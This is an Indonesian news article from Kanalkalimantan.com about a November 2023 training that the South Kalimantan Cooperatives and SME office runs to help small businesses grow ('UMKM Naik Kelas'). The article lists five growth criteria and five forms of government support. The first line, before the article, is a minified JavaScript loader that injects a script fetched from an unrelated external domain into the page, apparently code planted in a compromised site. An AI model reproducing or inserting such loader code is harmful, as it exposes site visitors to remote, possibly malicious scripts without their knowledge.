(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Upaya Diskop UKM Kalsel Agar “UMKM Naik Kelas”

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Koperasi dan UKM Provinsi Kalimantan Selatan (Kalsel) menggelar pembinaan “UMKM Naik Kelas”.

Kegiatan diikuti 60 pelaku Usaha Mikro, Kecil, dan Menengah (UMKM) dari tiga daerah Kota Banjarmasin, Kota Banjarbaru dan Kabupaten Banjar berlangsung selama tiga hari 20 dan 22 November 2023 di Banjarmasin.

Pembinaan “UMKM Naik Kelas” dibuka Kepala Dinas Koperasi dan UKM Provinsi Kalsel Drs Gt Yanuar Noor Rifai MSi diwakili Sekretaris Dinas Koperasi dan UKM Muhriadi SSos, Senin (20/11/2023),
Pemerintah Provinsi Kalimantan Selatan terus memberikan dukungan motivasi kepada UMKM agar bisa naik kelas. Bagaimana agar UMKM bisa Naik Kelas, caranya setidaknya ada lima parameter yang digunakan sebagai kreteria UMKM Naik Kelas.

“Memanfaatkan teknologi, penggunaan tehnologi modern dapat membantu proses produksi bisa lebih baik dan lebih cepat. Yang terkait dengan finance, UMKM tidak lagi melakukan pencatatan secara manual melainkan dengan menggunakan software, dan sudah terintegrasi dengan payroll,” kata Sekretaris Dinas Koperasi dan UKM Kalsel saat pembukaan pembinaan “UMKM Naik Kelas”.

Menggunakan sistem pemasaran online, sekarang ini pemasaran online sudah tidak bisa dielakkan. Pun UMKM yang mengalami kenaikan juga harus menggunakan sistem pemasaran online.

“SDM berkualitas, tidak cukup bagi pelaku UMKM menggunakan teknologi paling modern karena tanpa SDM yang berkualitas penggunaan teknologi juga tidak maksimal,” katanya. Kemudian fokus pada pelayanan dengan memberikan pelayanan yang selalu lebih baik kepada konsumen, serta adaftif agar UMKM mampu menjawab perubahan zaman.

Sekadar diketahui istilah “UMKM Naik Kelas” merujuk pada langkah dan upaya yang diambil oleh UMKM untuk meningkatkan kapabilitas dan meningkatkan posisinya di pasar.

UMKM Naik Kelas mengacu pada proses sebuah usaha meningkatkan kualitas produk atau layanan, meningkatkan produktivitas dan efisiensi operasional, mengembangkan strategi pemasaran yang lebih baik, membangun merek yang kuat, dan meningkatkan pangsa pasar.

“Tujuannya adalah untuk mencapai pertumbuhan yang signifikan dan meningkatkan skala usaha, sehingga dapat bersaing di pasar yang lebih luas,” jelas Muhriadi.

UMKM tidak bisa sendirian dalam upaya agar bisa naik kelas, ada pemerintah yang juga harus hadir memberikan bantuan menaikkan levelnya.

“Yang pertama, membantu memperluas akses pemasaran. Pemerintah tidak hanya ingin produk UMKM itu dipasarkan di dalam negeri tapi juga di luar negeri,” sebut Sekretaris mewakili Kadiskop dan UKM Kalsel.

Kedua, meningkatkan kualitas produk atau jasa yang ditawarkan oleh UMKM. Dimana pemerintah memberikan pelatihan dan penyediaan teknologi agar produk yang ditawarkan jauh lebih berkualitas.

“Pemerintah mengerti banyak UMKM yang susah berkembang karena kekurangan dalam pendanaan. Dalam hal ketiga ini, Pemerintah Provinsi Kalsel bekerja sama dengan pihak perbankan bisa memberikan pendanaan kepada semua UMKM tanpa terkecuali,” jelasnya.

Keempat adalah peningkatan kualitas manajemen UMKM. Ini dilakukan dengan cara pemerintah memberikan pembinaan dan juga pelatihan.

Kelima, pemberian kemudahan masyarakat untuk membuka usaha UMKM. Saat ini, perizinan semakin dipermudah. Sudah ada sistem online yang ditawarkan agar siapa saja bisa melakukan registrasi ketika ingin membuka usaha mikro.

“Kegiatan pada hari ini merupakan tindak lanjut progam Dinas Koperasi dan UKM Provinsi Kalimantan Selatan bersinergi dengan Bank Indonesia untuk membina UMKM Naik Kelas,” kata Sekretaris Diskop dan UKM Kalsel.

Diharapkan dari pembinaan yang bersinergi ini UMKM mengalami kenaikan kualitas. Perbaikan sistem keuangan, serta dapat melakukan pemasaran secara digital agar pangsa pasar lebih luas. “Itulah yang akan membuat UMKM Naik Kelas,” pungkasnya. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : kk